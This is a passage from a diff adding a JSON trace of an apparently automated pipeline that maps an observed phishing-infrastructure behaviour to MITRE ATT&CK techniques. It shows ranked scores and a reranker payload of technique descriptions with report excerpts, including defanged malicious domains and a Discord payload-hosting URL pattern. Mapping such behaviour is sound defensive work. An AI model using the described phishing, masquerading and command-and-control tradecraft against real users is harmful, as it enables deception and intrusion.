"score": 0.001068115234375, + "rank": 60 + }, + { + "item_id": "T1596.003", + "score": 0.00102996826171875, + "rank": 61 + }, + { + "item_id": "T1591.004", + "score": 0.00096893310546875, + "rank": 62 + }, + { + "item_id": "T1588", + "score": 0.000858306884765625, + "rank": 63 + }, + { + "item_id": "T1593.003", + "score": 0.00083160400390625, + "rank": 64 + }, + { + "item_id": "T1586.001", + "score": 0.000732421875, + "rank": 65 + }, + { + "item_id": "T1593.001", + "score": 0.00070953369140625, + "rank": 66 + }, + { + "item_id": "T1677", + "score": 0.000667572021484375, + "rank": 67 + }, + { + "item_id": "T1204.005", + "score": 0.000667572021484375, + "rank": 68 + }, + { + "item_id": "T1681", + "score": 0.0006256103515625, + "rank": 69 + }, + { + "item_id": "T1573", + "score": 0.000606536865234375, + "rank": 70 + }, + { + "item_id": "T1596.005", + "score": 0.0005035400390625, + "rank": 71 + }, + { + "item_id": "T1591", + "score": 0.0004730224609375, + "rank": 72 + }, + { + "item_id": "T1597.001", + "score": 0.0004444122314453125, + "rank": 73 + }, + { + "item_id": "T1596.004", + "score": 0.0003566741943359375, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 24752 + } + }, + "evidence_sha256": "73c25b1652be7db4367419eeba4c9944e7badd709f2e5d3c6aa62fcfbed2e9aa" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 879.4, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic" + }, + "items": [ + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: SSL inspection is advisable to detect and block such threats using SSL to hide their malicious intent." + }, + { + "id": "T1027", + "text": "ATT&CK technique: T1027 Obfuscated Files or Information\nDescription: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.\nTactics: stealth\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: Figure 6: Obfuscated skimmer script." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: In the most recent instance we saw, attackers were spoofing Cisco’s Unity Connection voicemail platform." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: According to Proofpoint research, while TA453 does appear to have elevated privileges allowing them to create credential harvesting pages at soasradio[.]org, other pages on the site continue to host legitimate SOAS-affiliated content." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: The final phishing page spoofs the Microsoft Office 365 login page, as shown in Figures 11 and 12." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1573.002", + "text": "ATT&CK technique: T1573.002 Asymmetric Cryptography\nDescription: Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal. For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The other 12 spear phishing emails were sent from domain names previously registered by them, imitating a specific organization." + }, + { + "id": "T1071", + "text": "ATT&CK technique: T1071 Application Layer Protocol\nDescription: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: This is for several reasons: first, malicious traffic blends in more easily with legitimate traffic on standard protocols like HTTP/S; second, companies that rely on appliances for security often don’t inspect all SSL/TLS encrypted traffic as it is extremely resource-intensive to do so." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Visitors are instructed to download and install Privacy Tools software via a specific section of the website." + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: Additionally, during our analysis we uncovered a previously unknown stolen digital certificate being used to digitally sign Winnti related drivers, and a potential campaign against an already known South Korean video game company." + }, + { + "id": "T1571", + "text": "ATT&CK technique: T1571 Non-Standard Port\nDescription: Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The network communication in this case is produced by HTTP to the domain **office365-update[.]co** to TCP/2082 port." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1218", + "text": "ATT&CK technique: T1218 System Binary Proxy Execution\nDescription: Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.\nTactics: stealth\nPlatforms: Linux, Windows, macOS\nLabeled report example: * Additionally, we uncovered a previously unknown stolen digital certificate being used to digitally sign Winnti-related attack components, and the targeting of a previously-unreported South Korean video game company." + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: The latest techniques include compromising vulnerable versions of e-commerce platforms, hosting skimmer scripts on CDNs and cloud services, and using newly registered domains (NRDs) lexically close to any legitimate web service or specific e-commerce store to host malicious skimmer scripts." + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1001", + "text": "ATT&CK technique: T1001 Data Obfuscation\nDescription: Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1036.012", + "text": "ATT&CK technique: T1036.012 Browser Fingerprint\nDescription: Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent. Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1090.004", + "text": "ATT&CK technique: T1090.004 Domain Fronting\nDescription: Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1090.003", + "text": "ATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1572", + "text": "ATT&CK technique: T1572 Protocol Tunneling\nDescription: Adversaries may tunnel network 